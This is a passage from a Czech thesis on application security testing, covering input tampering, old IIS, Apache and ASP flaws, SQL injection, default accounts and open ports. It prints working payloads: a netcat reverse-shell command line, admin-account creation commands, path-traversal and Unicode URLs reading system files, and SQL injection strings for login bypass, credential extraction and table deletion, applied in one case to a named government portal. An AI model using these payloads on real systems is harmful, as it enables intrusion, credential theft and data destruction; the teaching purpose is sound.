Prˇı´klady Jako prvnı´ prˇ´ıklad bych uvedl naivnı´ du˚veˇru v data zadana´ prˇes formula´rˇ a skryta´ pole u webovy´ch aplikacı´. Je potrˇeba si uveˇdomit, zˇe data lze poslat i jinak nezˇ jen z formula´rˇe. Nejna´chylneˇjsˇ´ı pro za´meˇnu dat je posı´la´nı´ metodou GET, kdy data snadno meˇnı´me v ra´mci url, tedy http://domena/skript?promenna1=novahodnota&promenna2=novahodnota V prˇ´ıpadeˇ posı´la´nı´ metodou POST ma´me dveˇ mozˇnosti. Snazsˇ´ı mozˇnostı´ je vyuzˇitı´ javascriptu, kdy je ale nutne´, aby aplikace vypsala do dalsˇ´ı stra´nky hodnotu z formula´rˇe a stacˇ´ı na´m do tohoto pole zadat <SCRIPT LANGUAGE=”JavaScript”> nazev_formulare.nazev_promenne.value=”hodnota”; Tento zpu˚sob ale nenı´ univerza´lnı´ a take´ se mu da´ zabra´nit funkcemi HTMLencode() a podobny´mi, podle jazyka, ktery´ pouzˇ´ıva´me. Dalsˇ´ı mozˇnostı´ je komunikace prˇes socket. Pro veˇsˇ´ı prˇehlednost uka´zˇu ko´d v PHP
function HTTP_Post($URL,$data, $referrer=””) { // parsing the given URL $URL_Info=parse_url($URL); 33
4. UZˇIVATELSKE´ ROZHRANI´
// Building referrer // if not given use this script as referrer if($referrer==””) $referrer=$_SERVER[”SCRIPT_URI”]; // making string from $data foreach($data as $key=>$value) $values[]=”$key=”.urlencode($value); $data_string=implode(”&”,$values); // Find out which port is needed // if not given use standard (=80) if(!isset($URL_Info[”port”])) $URL_Info[”port”]=80; // building POST-request: $request.=”POST ”.$URL_Info[”path”].” HTTP/1.1\n”; $request.=”Host: ”.$URL_Info[”host”].”\n”; $request.=”Referer: $referer\n”; $request.=”Content-type: application/x-www-form-urlencoded\n”; $request.=”Content-length: ”.strlen($data_string).”\n”; $request.=”Connection: close\n”; $request.=”\n”; $request.=$data_string.”\n”; $fp = fsockopen($URL_Info[”host”],$URL_Info[”port”]); fputs($fp, $request); while(!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); return $result; }
Z tohoto ko´du je videˇt, jak je to snadne´ a take´ to, zˇe kontrola promeˇnne´ HTTP REFERER, ve ktere´ je ulozˇena url, ze ktere´ je vola´n skript, je naprosto zbytecˇna´, protozˇe se da´ snadno podvrhnout. Velmi zajı´mava´ chyba se nale´zala take´ v samotne´m IIS. Podstata proble´mu je v objektu DataFactory, ktery´ je soucˇa´stı´ RDS. Ten v implicitnı´ konfiguraci umozˇnˇuje prˇeda´va´nı´ 34
4. UZˇIVATELSKE´ ROZHRANI´ vzda´leneˇ zadany´ch prˇ´ıkazu˚ serveru. Tyto prˇ´ıkazy jsou vykona´ny s pra´vy, pod ktery´mi je sluzˇba spusˇteˇna, veˇtsˇinou se vsˇak jedna´ o uzˇivatele system a tedy u´tocˇnı´k zı´ska´ vlastneˇ pra´va administra´tora. Vy´hodou take´ je, zˇe server s touto chybou se snadno hleda´, protozˇe vracı´ rˇeteˇzec application/x-varg. Na internetu lze najı´t spoustu prˇ´ıkazu˚, pro ktere´ se da´ tato chyba efektivneˇ vyuzˇ´ıt. Kra´sny´m prˇ´ıkladem mu˚zˇe by´t prˇ´ıkazovy´ rˇa´dek, ktery´ pomocı´ FTP nainstaluje na cı´love´m pocˇ´ıtacˇi netcat, spustı´ ho a ten vra´tı´ na prˇ´ıkazovy´ rˇa´dek cı´love´ho pocˇ´ıtacˇe. ”cd SystemRoot && echo $ftp_user>ftptmp && echo $ftp_pass>>ftptmp && echo bin>>ftptmp && echo get nc.exe>>ftptmp && echo bye>>ftptmp && ftp -s:ftptmp $ftp_ip && del ftptmp && attrib -r nc.exe && nc -e cmd.exe $my_ip $my_port” Pomocı´ zı´skane´ho prˇ´ıkazove´ho rˇa´dku lze na pocˇ´ıtacˇ nainstalovat libovolny´ program, tedy i program pwdump.exe, ktery´m lze vyexportovat sˇifry uzˇivatelsky´ch hesel. Samotny´ program uva´dı´m pro jeho de´lku v prˇ´ıloze. Dalsˇ´ım proble´mem IIS je chyba oznacˇovana´ jako iishack, ktera´ je zpu˚sobena´ nedostatecˇnou kontrolou jmen souboru˚ .HTR, .STM a .IDC v URL a umozˇnˇuje u´tocˇnı´kovi prˇene´st na server ko´d, ktery´ lze spustit s pra´vy administra´tora. Pak jizˇ je snadne´ si vytvorˇit nove´ uzˇivatelske´ konto net localgroup password uzivatel /add a pote´ tohoto uzˇivatele prˇidat do skupiny Administrators prˇ´ıkazem net localgroup Administrators uzivatel /add Zdrojovy´ ko´d je pro svu˚j rozsah umı´steˇn v prˇ´ıloze. Chyba se v minulosti nevyhnula ani HTTP serveru Apache, jehozˇ soucˇa´stı´ byl uka´zkovy´ CGI skript, ktery´ meˇl v sobeˇ chybu a dal se zneuzˇ´ıt. Tento skript pouzˇ´ıval pro kontrolu vstupu svou funkci escape shell cmd(), v jejı´zˇ implementaci byla chyba, protozˇe opomı´jela znak pro novou rˇa´dku, hexadecima´lneˇ 0x0a. Tento znak se dal pote´ vyuzˇ´ıt k provedenı´ prˇ´ıkazu˚ na cı´love´m pocˇ´ıtacˇi. Snadno se takto dal vypsat obsah souboru /etc/passwd pomoci url: http://domena/cgi-bin/phf?Qalias=x%0a/bin/cat/%20/etc/passwd Take´ si u´tocˇnı´k mohl otevrˇ´ıt okno xtermu pomocı´ url: http://domena/cgi-bin/phf?Qalias=x%0a/usr/openwin/bin/ xterm%20-display%20147.251.48.1:0.0%20& Chyby v CGI skriptech se nasˇly take´ v manipulacˇnı´ch skriptech na Irixech. Pokud jsme chteˇli vypsat /etc/passwd, stacˇilo pouzˇit na´sledujı´cı´ url: 35
4. UZˇIVATELSKE´ ROZHRANI´ http://domena/cgi-bin/handler/something;cat/etc/passwd|? data=DownloadHTTP/1.0 Spousta chyb se take´ vyskytla v ASP. Naprˇ´ıklad pokud se URL ukoncˇilo tecˇkou, ASP zobrazilo jeho zdrojovy´ ko´d. http://domena/script.asp. Microsoft na tuto chybu pruzˇneˇ zareagoval a vydal za´platu, ktera´ chybu opravila, ale umozˇnila stejnou chybu dı´ky tecˇce v na´zvu souboru zapsane´ hexadecima´lneˇ, tedy http://domena/script%2easp V dalsˇ´ıch verzı´ch ASP zas bylo mozˇne´ si zkopı´rovat zdrojove´ ko´dy k sobeˇ dı´ky te´to URL: http://domena/script.asp::$DATA Stejneˇ jako u Apache se i vy´voja´rˇi ASP rozhodli prˇidat do instalacˇnı´ho balı´ku pa´r uka´zek se spoustou chyb. Hned jednu nalezneme ve skriptu showcode.asp, ktera´ zapomı´na´ zaka´zat pouzˇ´ıva´nı´ dvou tecˇek a tı´m umozˇnˇuje zobrazenı´ souboru˚ i mimo adresa´rˇ pro ASP. Pokud chceme zobrazit soubor boot.ini, zada´me tuto URL: http://domena/msadc/Samples/SELECTOR/showcode.asp? source=/../../../../../boot.ini Stejna´ chyba se nacha´zı´ i ve skriptu codebrws.asp http://domena/iissamples/exair/howitworks/codebrws.asp? source=/../../../../../boot.ini K prohlı´zˇenı´ souboru˚ lze take´ vyuzˇ´ıt .HTW u´toky, ktere´ vyuzˇ´ıvajı´ chybu v webhits.dll v ISAPI aplikaci. V prvnı´m u´toku se vyuzˇ´ıva´ existujı´cı´ho HTW souboru a vola´ se URL: http://domena/iissamples/issamples/oop/qfullhit.htw? CiWebHitsFile=/../../boot.ini& CiRestriction=none&CiHiliteType=Full Druhy´ HTW u´tok naopak vyuzˇ´ıva´ neexistujı´cı´ho souboru, kdy jako za´klad pouzˇijeme existujı´cı´ soubor doplneˇny´ o vı´ce nezˇ 230 mezer hexadecima´lneˇ a koncovkou .HTW. Sluzˇba koncovku .HTW ignoruje a poskytne zadany´ soubor. Prˇ´ıklad URL: http://domena/default.asp%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 36
4. UZˇIVATELSKE´ ROZHRANI´ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20.htw?CiWebHitsFile=/../../boot.ini& CiRestriction=none&CiHiliteType=Full Trˇetı´ chyba spocˇ´ıva´ v pouzˇitı´ souboru null.htw pomocı´ URL: http://domena/null.htw?CiWebHitsFile=/../../../../../boot.ini& CiRestriction=none&CiHiliteType=Full Poslednı´m prˇ´ıkladem nekoncˇ´ıcı´ch proble´mu˚ v ASP, ktere´ vedou k zobrazenı´ ko´du, je vyuzˇitı´ chyby v protokolu WebDAV, ktery´ je interpretova´n jako ISAPI filtr v souboru httpext.dll. Filtr interpretuje HTTP prˇ´ıkazy jesˇteˇ prˇedtı´m nezˇ to udeˇla´ IIS. Chyba se projevı´ po odesla´nı´ nekorektnı´ho GET dotazu, kdy se GET hlavicˇka ukoncˇ´ı rˇeteˇzcem ˇ eteˇzec Translate:f Translate:f a pozˇadovane´ URL se ukoncˇ´ı zpeˇtny´m lomı´tkem. R signalizuje filtru ASAPI, zˇe ma´ pozˇadavek zpracovat, ale koncove´ zpeˇtne´ lomı´tko filtr zma´tne a soubor rovnou prˇeda´ operacˇnı´mu syste´mu, ktery´ ho zprˇ´ıstupnı´ u´tocˇnı´kovi. GET /global.asa\\ HTTP/1.0 HOST: 10.0.0.1 User-Agent: SensePostData Content-Type: application/x-www-form-urlencoded Translate: f [CRLF] [CRLF] V Apachi a IIS nalezneme dalsˇ´ı mozˇnost k u´toku, kdy tyto servery majı´ sˇpatneˇ implementovanou znakovou sadu Unicode. Tato chyba vede ke klasicke´mu u´toku, kdy u´tocˇnı´k odesˇle na server netcat a zpeˇt si necha´ vra´tit prompt prˇ´ıkazove´ho interpretu nebo lze na cı´love´m pocˇ´ıtacˇi spustit libovolny´ program. K uskutecˇneˇnı´ u´toku stacˇ´ı jednoduchy´ GET dotaz: GET /scripts/..%c0%af..%c0%af../winnt/system32/smd.exe? +/c+dir+’c:\’ HTTP /1.0 37
4. UZˇIVATELSKE´ ROZHRANI´ K vykona´nı´ u´toku nenı´ nutne´ pouzˇ´ıt %c0%af, lze ho nahradit libovolnou neprˇ´ıpustnou reprezentacı´ znaku˚ ‘/’ nebo ‘\’ jako: • %c1%1c • %c1%9c • %c0%9v • %c0%af • %c0%qf • %c1%8s • %c1%pc Dalsˇ´ı podobnou chybu nalezneme v IIS, kdy IIS prova´dı´ v neˇktery´ch prˇ´ıpadech dvojna´sobne´ deko´dova´nı´ hexadecima´lneˇ ko´dovany´ch URL, ale bezpecˇnostnı´ kontrolu prova´dı´ pouze po prvnı´m deko´dova´nı´. K te´to chybeˇ lze pouzˇ´ıt na´sledujı´cı´ URL: http://domena/scripts/..%255c..%255cwinnt/system32/cmd.exe? /c+dir+c:\ Opeˇt lze pouzˇ´ıt i jine´ varianty ko´du: • %255c • %%35c • %%35%63 • %25%35%63
4.6 SQL injection 4.6.1 Popis Ve sve´ podstateˇ se jedna´ o stejny´ typ chyby jako je pouzˇitı´ specia´lnı´ch rˇeteˇzcu˚ ve vstupu, ale tento proble´m je tak rozsa´hly´ a zajı´mavy´, zˇe si zaslouzˇ´ı vlastnı´ kapitolu. Pod pojmem SQL injection se skry´va´ podvrzˇenı´ vstupnı´ch dat tak, aby byl neˇjaky´m zpu˚sobem pozmeˇneˇn vy´sledek SQL dotazu. Cely´ proble´m je zpu˚soben nevhodnou nebo zˇa´dnou filtracı´ escape znaku˚ cˇi rˇeteˇzcu˚, ktere´ jsou pak v ko´du doplneˇny do SQL dotazu a posla´ny databa´zove´mu serveru. Tato chyba je typicka´ pro webove´ aplikace, kdy se po klientovi zˇa´dajı´ neˇjaka´ data, ktera´ se ukla´dajı´ nebo pouzˇ´ıvajı´ pro vyhleda´va´nı´ v databa´zı´ch. Je potrˇeba rˇ´ıci, zˇe na tuto chybu nema´ vliv pouzˇity´ databa´zovy´ server ani programovacı´ cˇi skriptovacı´ jazyk, jedna´ se pouze o nevhodnost programovacı´ch technik.
38
4. UZˇIVATELSKE´ ROZHRANI´ 4.6.2 Du˚sledky Du˚sledky tohoto u´toku jsou rozmanite´. Mu˚zˇe se jednat o zı´ska´nı´ citlivy´ch dat, trˇeba informacı´ o za´kaznı´cı´ch, zaka´zka´ch apod., prˇes skryte´ emaily azˇ po uzˇivatelska´ hesla. To ve sve´m du˚sledku vede k zı´ska´nı´ prˇ´ıstupu k jake´mukoliv u´cˇtu, tedy i administra´torske´mu, ´ tocˇnı´k je samozrˇejmeˇ take´ schopen pozmeˇnit pokud existuje a k zı´ska´nı´ libovolny´ch dat. U data nebo je smazat. 4.6.3 Postup Snadna´ pra´ce je v prˇ´ıpadeˇ, zˇe ma´me k dispozici zdrojove´ ko´dy. Spoustu informacı´ na´m ale dajı´ i vygenerovane´ html ko´dy a na´zvy atributu˚ a tabulek ve vy´pisech. Du˚lezˇite´ je udeˇlat si alesponˇ neˇjakou prˇedstavu o strukturˇe databa´ze. 4.6.4 Prˇı´klady Nejzna´meˇjsˇ´ım prˇ´ıkladem je obejitı´ autentizace u webove´ aplikace. Prˇedstavme si, zˇe kontrola u´daju˚ probı´ha´ neˇjaky´m podobny´m SQL dotazem SELECT login FROM auth WHERE login = ’”.$login.”’ AND password= ’”.$password.”’”; kde $login a $password jsou promeˇnne´, naplneˇne´ daty od uzˇivatele. Uzˇivatel tedy zada´ na´sledujı´cı´ hodnoty Login: ’ OR ’1’=’1 Password: ’ OR ’1’=’1 Po dosazenı´ promeˇnny´ch skriptem do SQL dotazu, bude dotaz vypadat na´sledovneˇ: SELECT login FROM auth WHERE login = ’’ OR ’1’=’1’ AND password= ’’ OR ’1’=’1’”; cozˇ ve vy´sledku znamena´ SELECT login FROM auth WHERE true; a tedy uzˇivatel bude autentizova´n. Da´le mu˚zˇe by´t zajı´mave´ vypsa´nı´ cele´ tabulky. Principem vsˇech operacı´ se „vsˇemi daty“ je to, zˇe v dotazu musı´ by´t vzˇdy platna´ podmı´nka a tudı´zˇ dotaz ovlivnı´ cely´ obsah tabulky.
39
4. UZˇIVATELSKE´ ROZHRANI´ Jedine´ omezenı´ prˇi SQL injection je to, zˇe vznikly´ dotaz musı´ by´t syntakticky spra´vny´ musı´ se nejprve ukoncˇit pu˚vodnı´ podmı´nka a pak teprve mu˚zˇe pokracˇovat podvrzˇeny´ ko´d. Jako vzˇdy platna´ podmı´nka se hodı´ OR 1=1 nebo jejı´ obdoba. Protozˇe SQL dotaz mu˚zˇe jesˇteˇ pokracˇovat za vkla´danou promeˇnnou trˇeba cˇa´stı´ ORDER BY, je dobre´ na´sˇ vlozˇeny´ ko´d ukoncˇit znaky - -, cozˇ je cha´pa´no jako zacˇa´tek komenta´rˇe. Pokud je ve zdrojove´m ko´du obdobny´ dotaz jako: SELECT jmeno, email FROM uzivatel WHERE id = $id; je rˇesˇenı´m naplneˇnı´ promeˇnne´ $id rˇeteˇzcem: 1 OR 1=1 -a tedy dotaz bude vypadat takto: SELECT jmeno, email FROM uzivatel WHERE id = 1 OR 1=1 -Zde je videˇt, zˇe vy´raz za WHERE se vzˇdy vyhodnotı´ jako true. Pokud by SQL dotaz jesˇteˇ pokracˇoval neˇjakou sekcı´, vy´sledek by dopadl na´sledovneˇ SELECT jmeno, email FROM uzivatel WHERE id = 1 OR 1=1 -ORDER BY id DESC Obdobneˇ se take´ rˇesˇ´ı, pokud se v podmı´nce porovna´vajı´ rˇeteˇzce. Dotaz v ko´du: SELECT jmeno, email FROM uzivatel WHERE jmeno = ’$jmeno’; Lze pouzˇ´ıt tyto dveˇ mozˇnosti doplneˇnı´: ’ or ’a’ = ’a nebo ’ or 1=1 -Dotaz po doplneˇnı´ pak vypada´ takto: SELECT jmeno, email FROM uzivatel WHERE jmeno = ’’ or ’a’ = ’a’ 40
4. UZˇIVATELSKE´ ROZHRANI´ nebo SELECT jmeno, email FROM uzivatel WHERE jmeno = ’’ or 1=1 --’ Drobneˇjsˇ´ı proble´m nasta´va´, pokud skripty vypisujı´ pouze jeden za´znam z databa´ze. Tedy dotaz vypada´ neˇjak takhle SELECT jmeno, email FROM uzivatel WHERE jmeno = ’$jmeno’ LIMIT 1; Je videˇt, zˇe musı´me dostat na´mi pozˇadovany´ za´znam na prvnı´ mı´sto. Proble´m je v tom, zˇe musı´me zna´t jednu z hodnot, ktera´ je v pozˇadovane´m za´znamu a tu pak budeme postupneˇ inkrementovat nebo dekrementovat. Vy´sledek se pak jizˇ jen serˇadı´ sestupneˇ nebo vzestupneˇ v za´vislosti na zvolene´ hodnoteˇ. Tedy doplnı´me neˇco podobne´ho na´sledujı´cı´mu vy´razu ’ OR id = 10 ORDER BY id DESC -kde desı´tka je ona zna´ma´ hodnota v pozˇadovane´m za´znamu. Vy´sledny´ dotaz tedy bude vypadat na´sledovneˇ SELECT jmeno, email FROM uzivatel WHERE jmeno = ’’ OR id = 10 ORDER BY id DESC --’ LIMIT 1 Prˇedchozı´ prˇ´ıklady umozˇnˇovaly vypisovat pouze prˇedem dane´ atributy z dane´ tabulky dotazu. To mu˚zˇe by´t samozrˇejmeˇ ma´lo. Vhodny´m rˇesˇenı´m se jevı´ pouzˇitı´ UNIONu, ktery´ spojuje vy´sledky dvou ru˚zny´ch dotazu˚ a vracı´ je jako jeden vy´sledek. Na druhou stranu je nutne´ si uveˇdomit, zˇe nelze mı´chat datove´ typy jednotlivy´ch atributu˚ a vnorˇeny´ select musı´ mı´t stejny´ pocˇet a stejne´ na´zvy atributu˚. Omezenı´ datovy´ch typu˚ neobejdeme, ale na´zvy prˇizpu˚sobı´me pomocı´ aliasu˚. Tedy z pu˚vodnı´ho dotazu SELECT jmeno, email FROM uzivatel WHERE uid = ’$uid’; doplneˇnı´m vy´razu 1’ UNION SELECT heslo AS jmeno, login AS email FROM auth -zı´ska´me tento dotaz SELECT jmeno, email FROM uzivatel WHERE uid = ’1’ UNION SELECT heslo AS jmeno, login AS email FROM auth --’ 41
4. UZˇIVATELSKE´ ROZHRANI´ Neˇkdy je potrˇeba zjistit, pod jaky´m uzˇivatelem se skript prˇipojuje k databa´zi. Lehko toho docı´lı´me, pokud najdeme neˇjaky´ SQL dotaz, u ktere´ho doka´zˇeme rozeznat odpoveˇdi pro id odpovı´dajı´cı´ rozsahu ordina´lnı´ hodnoteˇ znaku˚ ASCII. Jako vhodny´ se ukazuje trˇeba vy´pis textu˚ z databa´ze, ktery´ je zı´ska´va´n podobny´m dotazem jako SELECT id,text FROM texty WHERE id= $id; Pro zı´ska´nı´ jme´na uzˇivatele pouzˇijeme funkce databa´ze substring() (zı´ska´ podrˇeteˇzec v rˇeteˇzci) a ascii(), ktera´ vra´tı´ ordina´lnı´ hodnotu znaku. Tedy $id naplnı´me vy´razem ascii(substring(user(),2,1) cˇ´ımzˇ zı´ska´me dotaz SELECT id,text FROM texty WHERE id=ascii(substring(user(),2,1); z neˇhozˇ pozna´me druhe´ pı´smenko na´zvu uzˇivatele. Celou tuto proceduru je potrˇeba neˇkolikra´t zopakovat podle pocˇtu znaku˚ na´zvu. Uvedu zde jesˇteˇ dva uzˇitecˇne´ prˇ´ıklady. Prvnı´ z nich vyuzˇijeme prˇi hleda´nı´ jmen dalsˇ´ıch tabulek, kdy vyuzˇijeme vnorˇene´ho dotazu a jedne´ jizˇ zna´me informace. Princip je jednoduchy´, pokud tabulka neexistuje, SQL dotaz selzˇe a nedojde k vypsa´nı´ textu, v opacˇne´m prˇ´ıpadeˇ na´m skript vypı´sˇe zna´my´ text. Pu˚vodnı´ dotaz vypada´ takto SELECT id,text FROM texty WHERE id= $id; Promeˇnna´ $id bude obsahovat vy´raz 1 AND 0<(SELECT COUNT(*) FROM nazev); cozˇ na´m dotaz upravı´ na SELECT id,text FROM texty WHERE id= 1 AND 0<(SELECT COUNT(*) FROM nazev); Poslednı´m prˇ´ıkladem je pouzˇitı´ slozˇeny´ch dotazu˚, cozˇ lze vyuzˇ´ıt trˇeba ke smaza´nı´ nebo pozmeˇneˇnı´ dat. Opeˇt pouzˇijeme SQL dotaz SELECT id,text FROM texty WHERE id= $id; a promeˇnnou $id naplnı´me vy´razem 42
4. UZˇIVATELSKE´ ROZHRANI´ 1; DELETE FROM zakaznik; Ve vy´sledku dostaneme SELECT id,text FROM texty WHERE id= 1; DELETE FROM zakaznik; cozˇ smazˇe za´znamy v tabulce zakaznik. ´ tok byl veden na web sta´tnı´ Z praxe bych zmı´nil jeden u´tok pomocı´ SQL injection. U spra´vy - Porta´l verˇejne´ spra´vy. Zde se objevila chyba ve skriptu, ktery´ zobrazuje dokumenty, protozˇe neosˇetrˇoval obsah promeˇnne´ docid. Skript se dal nale´zt na adrese: http://portal.gov.cz/wps/portal/_s.155/893?docid=184 Na chybu jizˇ uka´zala URL http://portal.gov.cz/wps/portal/_s.155/893?docid=184-1 kdy skript necˇekaneˇ vyhodnotil vy´raz 184-1 v promeˇnne´ docid a zobrazil dokument s id 183. Pomocı´ URL http://portal.gov.cz/wps/portal/_s.155/893?docid=184+LENGTH(USER) se dala zjistit podle id zobrazene´ho dokumentu de´lka na´zvu uzˇivatele, pod ktery´m je skript prˇipojen k databa´zi. Tı´m jizˇ vı´me de´lku, ktera´ cˇinı´ 8 znaku˚. Pomocı´ funkcı´ SUBSTRING, ASCII, jak jsem popsal vy´sˇe, lze zjistit jednotlive´ znaky a vycha´zı´ na´m uzˇivatelske´ jme´no DB2INST1. Protozˇe tento uzˇivatel je vlastnı´kem, bylo mozˇne´ deˇlat te´meˇrˇ cokoliv. Je tedy snadne´ si zjistit na´zvy tabulek v databa´zi a prˇ´ıpadneˇ z nich zı´skat data nebo je neˇjak pozmeˇnit.
43
Kapitola 5
Na´vrh a implementace aplikace 5.1 Defaultnı´ uzˇivatelska´ jme´na a hesla 5.1.1 Popis Proble´m se vyskytuje ve dvou rovina´ch. Prvnı´m z nich jsou uzˇivatelska´ jme´na a hesla, ktera´ jsou implicitneˇ prˇednastavena. To vede k tomu, zˇe nezkusˇeny´ uzˇivatel u´daje nezmeˇnı´ a pro urychlenı´ instalace vsˇe odklika´. Teˇchto u´cˇtu˚ pak u´tocˇnı´k mu˚zˇe snadno zneuzˇ´ıt. Prˇese vsˇechny s tı´m spojene´ proble´my, nenı´ obtı´zˇne´ stav napravit, protozˇe u´cˇty jsou zdokumentovane´ a jdou zmeˇnit. Daleko nebezpecˇneˇjsˇ´ı jsou nezdokumentovane´ a nekonfigurovatelne´ u´cˇty, ktere´ jsou pro norma´lnı´ho uzˇivatele neviditelne´. Vznikly v dobeˇ vy´voje software, aby usnadnily testova´nı´ a podobne´ cˇinnosti a jsou implementova´ny prˇ´ımo do ko´du, kde pak upadly v zapomneˇnı´. Nebo v jesˇteˇ horsˇ´ım prˇ´ıpadeˇ se zjistı´, zˇe beˇh aplikace je na tomto u´cˇtu za´visly´, tak se tam prosteˇ necha´. Poslednı´ skupinou u´cˇtu˚ jsou u´cˇty pro technickou podporu, ktere´ zu˚stanou nezabezpecˇeny. 5.1.2 Du˚sledky ´ tocˇnı´k je schopen proniknout do aplikace a to veˇtsˇinou dı´ky uzˇivatelske´mu jme´nu U s vysoky´m opra´vneˇnı´m. 5.1.3 Postup Nejsnazsˇ´ı je vyzkousˇet vsˇechna beˇzˇna´ uzˇivatelska´ jme´na s hesly. Prˇ´ıkladem mu˚zˇe by´t tabulka v prˇ´ıloze. Da´le lze jen doporucˇit zkouma´nı´ ko´du, dokumentace a k odhalova´nı´ pouzˇ´ıt hrubou sı´lu.
5.2 Neochra´neˇne´ testovacı´ API rozhranı´ Protozˇe se aplikace jako celek obtı´zˇneˇ testuje, je efektivnı´ ji testovat po cˇa´stech skripty, ktere´ vyuzˇ´ıvajı´ API rozhranı´ vimplementovane´ do ko´du. Tyto u´pravy obcha´zejı´ bezpecˇnostnı´ kontroly, aby udeˇlaly testova´nı´ co mozˇna´ nejjednodusˇsˇ´ım a maxima´lneˇ automatizovany´m. Prˇedpokla´da´ se, zˇe prˇed vyda´nı´m softwaru, se odstranı´. Protozˇe v za´veˇru vy´voje docha´zı´ k cˇasove´mu tlaku, cˇasto jsou tyto rutiny v ko´du opomenuty. Stejneˇ jako v minule´m prˇ´ıpadeˇ se obcˇas zjistı´, zˇe ko´d je s testovacı´ rutinou tak propojen nebo na nı´
44
5. NA´VRH A IMPLEMENTACE APLIKACE tak za´visly´, zˇe se tam ponecha´ u´myslneˇ, trˇeba z preventivnı´ch du˚vodu˚, aby nedosˇlo k destabilizaci ko´du. 5.2.1 Du˚sledky ´ tocˇnı´kovi umozˇnı´ veˇtsˇinou obejitı´ bezpecˇnostnı´ch kontrol a tedy zı´ska´nı´ neautorizovaU ne´ho prˇ´ıstupu. 5.2.2 Postup Metody postupu je potrˇeba rozdeˇlit na dva prˇ´ıpady. V prvnı´m prˇ´ıpadeˇ ma´me k dispozici testovacı´ rutiny a tedy testova´nı´ je zalozˇeno na sledova´nı´ teˇchto rutin. Spustı´me testova´nı´ a sledujeme jake´ knihovny byly nahra´ny a ktere´ funkce z nich pouzˇity. Cˇasto pozna´me vimplementovane´ funkce podle na´zvu, kdy obsahujı´ neˇjaky´ snadno identifikovatelny´ prefix. V prˇ´ıpadeˇ, zˇe tomu tak nenı´, je vhodne´ porovnat volane´ knihovny a funkce s knihovnami a funkcemi, ktere´ vola´ samotny´ program. V prˇ´ıpadeˇ nedostupnosti testovacı´ch rutin, sledujeme pouze chova´nı´ programu. Opeˇt sledujeme pouzˇite´ knihovny a funkce, jejich na´zvy, ktere´ mohou o ledascˇem vypovı´dat, a take´ dobu a u´cˇel vola´nı´. Zajı´maveˇjsˇ´ı pro na´s budou urcˇiteˇ funkce volane´ beˇhem autentizace nezˇ ty, ktere´ jsou vola´ny prˇi ukoncˇenı´ programu.
5.3 Porty aplikace 5.3.1 Popis V dnesˇnı´ dobeˇ, kdy aplikace hojneˇ vyuzˇ´ıvajı´ sı´t’ovy´ch prostrˇedku˚ a umozˇnˇujı´ vzda´lena´ pouzˇ´ıva´nı´, konfiguraci cˇi alesponˇ aktualizaci, je potrˇeba zkontrolovat, zda aplikace neposloucha´ na neˇktery´ch portech, na ktery´ch by nemeˇla, a zda otevrˇene´ porty jsou zabezpecˇene´. 5.3.2 Du˚sledky Prˇes nezabezpecˇene´ porty mu˚zˇe by´t vzda´leneˇ vykona´na neautorizovana´ akce a je tedy potencia´lnı´m bezpecˇnostnı´m rizikem. 5.3.3 Postup Vhodne´ je zkontrolovat vsˇechny porty, tedy rozmezı´ od 0 do 65535. Prvnı´ch 1024 portu˚ je definova´no IANA (Internet Assigned Number Authority) a spravuje je operacˇnı´ syste´m, zbyle´ jsou specifikovane´ aplikacemi. Prˇi skenova´nı´ portu˚ sledujeme, zda jsou otevrˇene´ a jakou hla´sı´ chybu. Da´le je trˇeba zjistit, ktere´ z nalezeny´ch otevrˇeny´ch portu˚ byly otevrˇeny testovanou aplikacı´. V druhe´m kroku zkouma´me k cˇemu tyto porty slouzˇ´ı a analyzujeme
45
5. NA´VRH A IMPLEMENTACE APLIKACE chybove´ hla´sˇky prˇicha´zejı´cı´ z teˇchto portu˚. Je potrˇeba si uveˇdomit, zˇe neˇktere´ porty mohou odpovı´dat pouze na pakety, ktere´ prˇisˇly z konkre´tnı´ IP adresy nebo portu. 5.3.4 Prˇı´klady Prˇ´ıklad chyby najdeme v aplikaci WinGate 2.1, ktera´ je jaky´msi proxy serverem pro operacˇnı´ syste´m Windows. Pro loka´lnı´ho uzˇivatele byl prˇ´ıstup k logu˚m autentizova´n, zatı´mco na portu 8010 byly logovacı´ soubory a nejen ony prˇ´ıstupne´ vsˇem.
